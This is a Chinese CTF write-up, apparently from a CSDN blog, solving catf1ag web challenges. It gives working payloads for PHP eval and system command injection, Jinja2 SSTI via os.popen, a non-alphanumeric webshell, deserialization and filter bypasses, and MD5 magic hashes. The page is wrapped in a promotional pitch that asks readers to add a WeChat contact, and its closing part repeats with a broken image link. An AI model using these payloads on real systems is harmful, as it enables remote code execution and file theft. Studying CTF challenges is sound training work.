先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
正文
这里我们使用拼接绕过
?cmd=eval($_GET[1]);&1=system(‘ls’);
![](https://img-blog.csdnimg.cn/direct/c840eb71f2254d54972b7f75f92eedba.png)
?cmd=eval($_GET[1]);&1=system(‘cat f1ag_in_there.php’);
![](https://img-blog.csdnimg.cn/direct/1b5c8a7f6591436eb76c4fbc6981aff4.png)
## 不等于0
数组绕过秒了
?num[]=0
![](https://img-blog.csdnimg.cn/direct/49c2b1624f554e67be4a8f968a02ecbb.png)
## easy\_flask\_1
![](https://img-blog.csdnimg.cn/direct/fd9bfa7bb53a4f6dab3db88628349969.png)
![](https://img-blog.csdnimg.cn/direct/3df50bea44214c719b52289052e09ef9.png)
题目有提示/?cmd=
我们先尝试一下
![](https://img-blog.csdnimg.cn/direct/95a19d63a67343d5a2a68831d0c541e9.png)
接下来我们猜测可能为ssti
?cmd={{2*2}}
![](https://img-blog.csdnimg.cn/direct/6a9119468d2944b2bed1a3876c92f180.png)
既然知道是ssti
我们直接查询配置信息,看有没有什么发现
?cmd={{config}}
![](https://img-blog.csdnimg.cn/direct/846cdc7318234b1eacc6406c5a2d3682.png)
## easy\_flask\_2
跟上一题一样,我们先测试一下它是否为ssti
![](https://img-blog.csdnimg.cn/direct/4cdd6369fd4646c68e7f273eda39fb70.png)
这里直接给一个比较通用的payload:
?cmd={% set chr=().class.bases.getitem(0).subclasses().getitem(250).init.globals.builtins.chr %}{{().class.bases[0].subclasses()[250].init.globals.os.popen(chr(108)%2bchr(115)).read()}}
这里的chr(108)%2bchr(115)为ls拼接
可以参考下这个表
[chr()表对应大全\_chr(12)-CSDN博客]( )表对应大全_chr(12)-CSDN博客")
![](https://img-blog.csdnimg.cn/direct/5f7009ff30eb4ee7be12fd2d83c97cff.png) 接下来就是cat flag了
?cmd={% set chr=().class.bases.getitem(0).subclasses().getitem(250).init.globals.builtins.chr %}{{().class.bases[0].subclasses()[250].init.globals.os.popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(102)%2bchr(42)).read()}}
这里使用的是cat f\*(后面不想找了.......)
![](https://img-blog.csdnimg.cn/direct/25daa1baa1d94427a7351a897ad2b017.png)
## 又双叒叕不能相等
![](https://img-blog.csdnimg.cn/direct/696ed0bf90ea49cea0a0812731bf5557.png)
源代码:
<?php include('flag.php'); error_reporting(0); show_source('index.php'); $init_num = '999999999999'; $user_num = $_GET['num']; if(isset($user_num)){ if($user_num != $init_num){ if(strlen($user_num) < strlen($init_num)){ if($user_num > $init_num){ echo 'get glag:'.$flag; }else{ echo '你输入的数字小于初始值~'; } }else{ echo '不能大于初始值~'; } }else{ echo '不能相等~'; } }else{ echo '请输入内容~'; } ?>
这里要求num长度小于999999999999又要大于999999999999
提示:字符串开头以xex开头,x代表数字。会被转换成科学计数法(注意一定要是0e/d+的模式)。
payload:
?num=1e12
![](https://img-blog.csdnimg.cn/direct/f76edccb7bb44e77bbb1aabb529350d7.png)
这里没有发现flag,真奇怪
flag藏在响应头里了,离谱
![](https://img-blog.csdnimg.cn/direct/fb21f41e2a114832b0bbaa5e330c745e.png)
## 哦豁~还有一半呢?
打开一片空白
![](https://img-blog.csdnimg.cn/direct/bfc91072e280465198f35a4e7a9514c1.png)
查看源代码
![](https://img-blog.csdnimg.cn/direct/a92fc3901b5a491e93faaed5d6828ffb.png) 这里显示flagb,说明还有个flaga应该
查看响应头
![](https://img-blog.csdnimg.cn/direct/18010d4381b14b2185adc4019c7e98cb.png)
接下来就是拼接,base64解码即可
![](https://img-blog.csdnimg.cn/direct/f49e74e6bde04778ae6d4d86eabc1f99.png)
## bypass\_wakeup
![](https://img-blog.csdnimg.cn/direct/a7c1bb2d0b49431cbbc5134bed6a92fb.png)
源代码:
<?php show_source(__FILE__); class flag{ public $name = "catflag"; public function __wakeup(){ echo "this is __wakeup
"; } public function __destruct(){ show_source('flag.php'); echo "this is __destruct
"; } } $str = $_GET["ser"]; @$un_str = unserialize($str); echo $un_str->name."
"; ?>
这题是反序列化
比较简单,只要绕过\_\_wakeup即可
>
> 序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过\_\_wakeup的执行
>
>
>
<?php show_source(__FILE__); class flag{ public $name = "catflag"; public function __wakeup(){ echo "this is __wakeup
"; } public function __destruct(){ show_source('flag.php'); echo "this is __destruct
"; } } $a=new flag(); echo serialize($a); //O:4:"flag":1:{s:4:"name";s:7:"catflag";} ``` 修改为 ``` ?ser=O:4:"flag":2:{s:4:"name";s:7:"catflag";} ``` ![](https://img-blog.csdnimg.cn/direct/d3acf0345b2c4a9dbafd8f753a5f01c4.png) ## 无字符webshell ![](https://img-blog.csdnimg.cn/direct/b6cac558cae44f08846d83f5d9fd4232.png) 源代码: ``` <?php $cmd=$_GET['cmd']; if(preg_match("/[A-Za-z0-9]/",$cmd)){ die("giaogiaogiao!!!"); } else { eval($cmd); } highlight_file(__FILE__) ?>
这里要绕过字母和数字
异或绕过有点麻烦,这里看别的师傅写的
想学习的可以参考一下这个文章[浅析CTF绕过字符数字构造shell\_ctf 只能字母或者数字登录-CSDN博客]( )
?cmd=?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=ls /
>
> 分析下这个Payload,?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行,~"%a0%b8%ba%ab"为"\_GET",通过反引号进行shell命令执行。最后我们只要GET传参%a0即可执行命令。
>
>
>
![](https://img-blog.csdnimg.cn/direct/cb1e2fe681d048e0a5f50c81e0ecd888.png)
接下来就是cat /flag.txt
?cmd=?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=cat /flag.txt
![](https://img-blog.csdnimg.cn/direct/c16cd26276594d31a73dea273e1601d6.png)
## 舔dog日记
(听哥一句劝,别当舔dog,不喜欢就是不喜欢)
我们先打开日记1看看
![](https://img-blog.csdnimg.cn/direct/98994fd917e34e92bd63dbca80fc3c19.png)
这里有filename,盲猜后面是base64编码后的
![](https://img-blog.csdnimg.cn/direct/1ad1931c48964198964c31dd63fba80b.png)
![](https://img-blog.csdnimg.cn/direct/60fff07586c34909b43e220c8bb57ec0.png)
我们尝试一下flag.php
?filename=ZmxhZy5waHA=
![](https://img-blog.csdnimg.cn/direct/299b479ed1784dd38e1584f5910f9434.png)
查看源代码即可发现flag
![](https://img-blog.csdnimg.cn/direct/77dbc7f582494c9c86aad9d81f785823.png)
## 遍历遍历
![](https://img-blog.csdnimg.cn/direct/ccbed99ec1ad41189f4647278a649dfd.png)
![](https://img-blog.csdnimg.cn/direct/87c44794ee2c4ea98b8655366edf0467.png)
这里刷新一次就有一句话,应该是要我们写脚本遍历
脚本
import requests
url = “http://subject.catf1ag.cn:47522/” #这里填入题目的url
for i in range(250):
result = requests.get(url)
if ‘catf1ag’ in result.text:
print(result.text)
break
这里需要等几秒才能显示
![](https://img-blog.csdnimg.cn/direct/c637f54b9fda44489eccbee8f0efc8fd.png)
## easy\_rce\_3
![](https://img-blog.csdnimg.cn/direct/070cbf044b7f48dd92e2da8899a4a285.png)
源代码:
<?php highlight_file(__FILE__); if(isset($_GET['cmd'])){ if(!preg_match('/php:\/\/|data:\/\/|phar:\/\/|phpinfo()|info|flag|rm|\/|echo|\.|\*|\?/i',$_GET['cmd'])){ @eval($_GET['cmd']); }else{ echo "danger_string"; } }else{ echo "你啥也不输入,给你个假的flag:flag{error_flag}"; } ?>
这题没有过滤system
?cmd=system(‘ls’);
![](https://img-blog.csdnimg.cn/direct/84daa42d9b20483fbfd375421567faa7.png)
这里利用文件包含伪协议
?cmd=include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=flag.php
![](https://img-blog.csdnimg.cn/direct/5e24be8f2f1443948655216a7084eabd.png) base64解码即可
![](https://img-blog.csdnimg.cn/direct/8c64bf78c7cf4b73a27ff0dfcb63af45.png)
## easy\_rce\_4
![](https://img-blog.csdnimg.cn/direct/e0e81211129e4c8d9c46a2578b79eddf.png)
源代码:
<?php error_reporting(0); show_source('index.php'); $cmd = $_GET['a']; $a = '/flag|cat|tac|more|less|[ |<>|?|*|\\\\\'"]/'; if(preg_match($a,$cmd)){ echo "not allow"; } else{ if(strlen($cmd)<=50&$cmd!=''){ echo "you are success!"; } else{ system($cmd); } } ?>
即有过滤,又加了长度限制
这里可以使用nl或者tail
因为这里过滤了空格,可以使用%0a或者%09还有{IFS}等绕过(这里%0a不行)
?a=%ls;6666666666666666666666666666666666666666666666666666666666666
![](https://img-blog.csdnimg.cn/direct/398587a8f0f4486db9297a7b60dd4705.png)
?a=nl%09f1111111111111111111111111ag.php;6666666666666666666666666666666666666666666666666666666666666
flag藏在源代码里面
![](https://img-blog.csdnimg.cn/direct/253a1d3e5c06459ea37e3f8ec85593d0.png)
## xss\_alert
![](https://img-blog.csdnimg.cn/direct/e0b6171b6e854c04bb4b4963ef11601e.png)
开始试了很多xss,发现没反应
![](https://img-blog.csdnimg.cn/direct/cdb7e92794b949ea9bce785e0555382d.png)
看了下源代码,发现只要触发alert即可
![](https://img-blog.csdnimg.cn/direct/c050afd0c87149d6aea8c17908b3ac2a.png)
接下来base64解码即可
![](https://img-blog.csdnimg.cn/direct/e97ab26ba88943048c572cf49fca93a6.png)
![](https://img-blog.csdnimg.cn/direct/6c85ff10895c4ef79cbb19c900a02c1b.png)
## [两小时AK赛] 你猜猜是什么注入
开始以为是ssti
![](https://img-blog.csdnimg.cn/direct/a18d2c8fc4b84ec8b72a90883e946257.png)
看了别的师傅提示tee
tee的功能是从标准输入读取,再写入标准输出和文件。
?catf1ag=ls / | tee 2.txt
简单解释一下,就是将ls /写入2.txt里
然后访问2.txt就会触发ls /
![](https://img-blog.csdnimg.cn/direct/a104a04fa61a4f2aa30af07a1044d929.png)
?catf1ag=cat /flag | tee 3.txt
![](https://img-blog.csdnimg.cn/direct/a58c96d87a514ba0af087822895e3b3b.png)
## json\_2
![](https://img-blog.csdnimg.cn/direct/ebd33d120cd24bcf8069c5f14f020add.png)
源代码:
<?php show_source(__FILE__); $strs = json_decode($_GET['strs']); $key = '************************'; $flag = 'catf1ag{***********************************}'; foreach($strs as $keys=>$values){ if($values == $key){ echo $flag; }else{ echo 'failed'; } } ?>
这题跟前面那一题有点不一样
这里key为纯数字或者数字开头的字符串
所以这里改为布尔值true(布尔值可以和任何字符串相等。)
?strs={“key”:true}
![](https://img-blog.csdnimg.cn/direct/b2401419393845e8bae6646858584d72.png)
## MD5弱比较
![](https://img-blog.csdnimg.cn/direct/8b4d2d024c724ade9de00c21aa8fb3c1.png)
源代码:
<?php header("Content-Type:text/html;charset=utf-8"); show_source(__FILE__); include('flag.php'); $username = $_GET['username']; $password = $_GET['password']; if($username != $password){ if(md5($username) == md5($password)){ echo 'GET_FLAG:'.$flag; }else{ echo 'md5校验出错...'; } }else{ echo '用户名密码不能相等!'; } ?>
这里简单讲解下弱比较
“= =”:会把两端变量类型转换成相同的,在进行比较。
这里明确说明,在两个相等的符号中,一个字符串与一个数字相比较时,字符串会转换成数值。
例子:
<?php var_dump("name"==0); //true var_dump("1name"==1); //true var_dump("name1"==1) //false var_dump("name1"==0) //true var_dump("0e123456"=="0e4456789"); //true var_dump("0e1abc"=="0"); //true ?>
当出现xex模式的时候代表科学计数法,比如1e3=1\*10三次方,在进行比较运算时,如果遇到了0e\d+(意思就是0e就是0e,d+的意思是后面全部是数字)这种字符串,就会将这种字符串解析为科学计数法。所以上面例子中2个数的值都是0因而就相等了。如果不满足0e\d+这种模式就不会相等。
下面提供一下md加密后0e开头的
纯数字类:
240610708 0e462097431906509019562988736854
314282422 0e990995504821699494520356953734
571579406 0e972379832854295224118025748221
903251147 0e174510503823932942361353209384
1110242161 0e435874558488625891324861198103
1320830526 0e912095958985483346995414060832
1586264293 0e622743671155995737639662718498
2302756269 0e250566888497473798724426794462
2427435592 0e067696952328669732475498472343
2653531602 0e877487522341544758028810610885
3293867441 0e471001201303602543921144570260
3295421201 0e703870333002232681239618856220
3465814713 0e258631645650999664521705537122
3524854780 0e507419062489887827087815735195
3908336290 0e807624498959190415881248245271
4011627063 0e485805687034439905938362701775
4775635065 0e998212089946640967599450361168
4790555361 0e643442214660994430134492464512
5432453531 0e512318699085881630861890526097
5579679820 0e877622011730221803461740184915
5585393579 0e664357355382305805992765337023
6376552501 0e165886706997482187870215578015
7124129977 0e500007361044747804682122060876
7197546197 0e915188576072469101457315675502
7656486157 0e451569119711843337267091732412
大写字母类:
QLTHNDT 0e405967825401955372549139051580
QNKCDZO 0e830400451993494058024219903391
EEIZDOI 0e782601363539291779881938479162
TUFEPMC 0e839407194569345277863905212547
UTIPEZQ 0e382098788231234954670291303879
UYXFLOI 0e552539585246568817348686838809
IHKFRNS 0e256160682445802696926137988570
PJNPDWY 0e291529052894702774557631701704
ABJIHVY 0e755264355178451322893275696586
DQWRASX 0e742373665639232907775599582643
DYAXWCA 0e424759758842488633464374063001
GEGHBXL 0e248776895502908863709684713578
GGHMVOE 0e362766013028313274586933780773
GZECLQZ 0e537612333747236407713628225676
NWWKITQ 0e763082070976038347657360817689
NOOPCJF 0e818888003657176127862245791911
MAUXXQC 0e478478466848439040434801845361
MMHUWUV 0e701732711630150438129209816536
payload:
?username=240610708&password=QLTHNDT
![](https://img-blog.csdnimg.cn/direct/74d1bcacc083419b9dbec868c1717cb7.png)
## MD5强对比
![](https://img-blog.csdnimg.cn/direct/54c889a3c0e94c4f83bbd5bc998661fd.png)
源代码:
<?php header("Content-Type:text/html;charset=utf-8"); show_source(__FILE__); include('flag.php'); $username = $_GET['username']; $password = $_GET['password']; if($username != $password){ if(md5($username) === md5($password)){ echo 'GET_FLAG:'.$flag; }else{ echo 'md5校验出错...'; } }else{ echo '用户名密码不能相等!'; } ?>
这里使用了===强比较
直接构造数组就可以绕过了
payload:
?username[]=1&password[]=2
![](https://img-blog.csdnimg.cn/direct/cdce3cfe44e64a0682a411bb283895fa.png)
## md5($md5)
![](https://img-blog.csdnimg.cn/direct/36f87837f5b7491ba0e491d054e7dc9c.png)
源代码:
<?php header("Content-Type:text/html;charset=utf-8"); show_source(__FILE__); include('flag.php'); $md5 = $_GET['md5']; if($md5 == md5($md5)){ echo 'GET_FLAG'.$flag; }else{ echo 'md5校验失败...'; } ?>
一般的md5绕过是传入0e开头的md5值,因为在弱比较时,弱比较中会截取一个字符串的数字,知道遇到字符截止,对于0e+数字的值只会截取e之前的0,所以这里即便是令传入的md5值等于$md5后还需要等于其自身进行md5的值,我们选取0e或者加密后仍为0e开头的数就行例如:0e215962017 、以及这些纯字符串转化后为0e+数字的数:QNKCDZO、s878926199a
payload:
?md5=0e215962017
![](https://img-blog.csdnimg.cn/direct/7503aff6962e4091a16d81bcf0a7031e.png)
## [原九小时AK赛] passwd
题目描述:
小cat是某公司的安全侦察人员,在2022年9月9日凌晨6点,
小cat抓取到了几条疑似a人员和b人员交流的包,
经过破译,大致意思是“在今年xx月xx日xx点xx分准时进行数据交易”,
但是唯独不能完全破解出来,于是他发到公司的网络安全群寻求帮助:
69d00d9bc39e01687abf84e98e27c889cf1442b53edba27d3235acbeb7b0ae95
(密文格式是:年份必须是4位数,月日时分必须是两位数,需要用0补齐,比如2022年01月01日01时01分
看着像是密码的题,不知道为什么跑web来了
[Hash Analyzer - TunnelsUP]( )
![](https://img-blog.csdnimg.cn/direct/c35e2d09213e41d4b04d0204e1b24d7d.png)
不出意外是sha256
题目有提示2022年并且为12位密码
所以编写python脚本
from hashlib import sha256
for i in range(202210000000,202212320000):
a=‘69d00d9bc39e01687abf84e98e27c889cf1442b53edba27d3235acbeb7b0ae95’
if(sha256(str(i).encode()).hexdigest()==a):
print(i)
![](https://img-blog.csdnimg.cn/direct/6e1df966d0da4177a3639482176192e8.png)
>
> 202211121750
>
>
>
## [原九小时AK赛] whisper
![](https://img-blog.csdnimg.cn/direct/0c3cfb3eb8df489d9a1c3867d39dbc07.png)
查看源代码
![](https://img-blog.csdnimg.cn/direct/0b48e021a8a649d883b49b7d06e721fb.png)
url加上whisper
![](https://img-blog.csdnimg.cn/direct/64907dac6ff64fe99ccae2752f375467.png)
查看源代码(离谱!)
![](https://img-blog.csdnimg.cn/direct/67ef77dd03ee495fb149614765f40c8e.png)
又是一道密码题......
这题要在kali安装BaseCrack工具
可以看这个文章
[BaseCrack:一款功能强大的Base编码解码工具 - FreeBuf网络安全行业门户]( )
git clone https://github.com/mufeedvh/basecrack.git
![](https://img-blog.csdnimg.cn/direct/b5eeeb9ab1cc49b2a5469ca212c51f26.png)
cd basecrack
pip install -r requirements.txt
![](https://img-blog.csdnimg.cn/direct/0043ef5e795b4f619e6c94c5ff476ace.png)
下载需要等待一会
python basecrack.py -h
安装完成![](https://img-blog.csdnimg.cn/direct/507fb2a876294303b630e02929513dcc.png)
先nano hash.txt,将]DW3(ivp$&AsexbR32]={&8C"7)xB写入
nano hash.txt
]DW3(ivp$&AsexbR32]={&8C"7)xB
python basecrack.py --magic -f hash.txt
![](https://img-blog.csdnimg.cn/direct/075ba5372693472fba0e0a1dd5e6c0c4.png)
获得一半的flag
>
> catf1ag{I\_b41i3v3\_y0U\_c
>
>
>
![](https://img-blog.csdnimg.cn/direct/a9360bb58dbc41cda5c5457c38354d43.png)
题目提示不同方法,不同效果
bp抓包,将GET改为POST
![](https://img-blog.csdnimg.cn/direct/db13dd02dcfe4d0a9a60737bf47b0594.png)
这剩下一半是接不上的,要凯撒密码一下
找开头为an的即可
[凯撒(Caesar)加密/解密 - Bugku CTF]( )加密/解密 - Bugku CTF")
![](https://img-blog.csdnimg.cn/direct/845b7cccaf8444ec905f29695f11f93a.png)
>
> an\_f1nd\_all\_0f\_m3}
>
>
>
所以最终flag为
>
> catf1ag{I\_b41i3v3\_y0U\_can\_f1nd\_all\_0f\_m3}
>
>
>
## [红包题] 冬至当然要吃汤圆和饺子
查看源代码即可
![](https://img-blog.csdnimg.cn/direct/84fbc24af34540b7bd8cda4220855f9e.png)
## 学习路线:
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
![在这里插入图片描述](https://img-blog.csdnimg.cn/7a04c5d629f1415a9e35662316578e07.png#pic_center)
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
![img](https://img-blog.csdnimg.cn/img_convert/94bee59f27e04d19325b565834973578.png)
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
t/a9360bb58dbc41cda5c5457c38354d43.png)
题目提示不同方法,不同效果
bp抓包,将GET改为POST
![](https://img-blog.csdnimg.cn/direct/db13dd02dcfe4d0a9a60737bf47b0594.png)
这剩下一半是接不上的,要凯撒密码一下
找开头为an的即可
[凯撒(Caesar)加密/解密 - Bugku CTF]( )加密/解密 - Bugku CTF")
![](https://img-blog.csdnimg.cn/direct/845b7cccaf8444ec905f29695f11f93a.png)
>
> an\_f1nd\_all\_0f\_m3}
>
>
>
所以最终flag为
>
> catf1ag{I\_b41i3v3\_y0U\_can\_f1nd\_all\_0f\_m3}
>
>
>
## [红包题] 冬至当然要吃汤圆和饺子
查看源代码即可
![](https://img-blog.csdnimg.cn/direct/84fbc24af34540b7bd8cda4220855f9e.png)
## 学习路线:
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
![在这里插入图片描述](https://img-blog.csdnimg.cn/7a04c5d629f1415a9e35662316578e07.png#pic_center)
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
[外链图片转存中...(img-AmFQ94P6-1713118955852)]
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**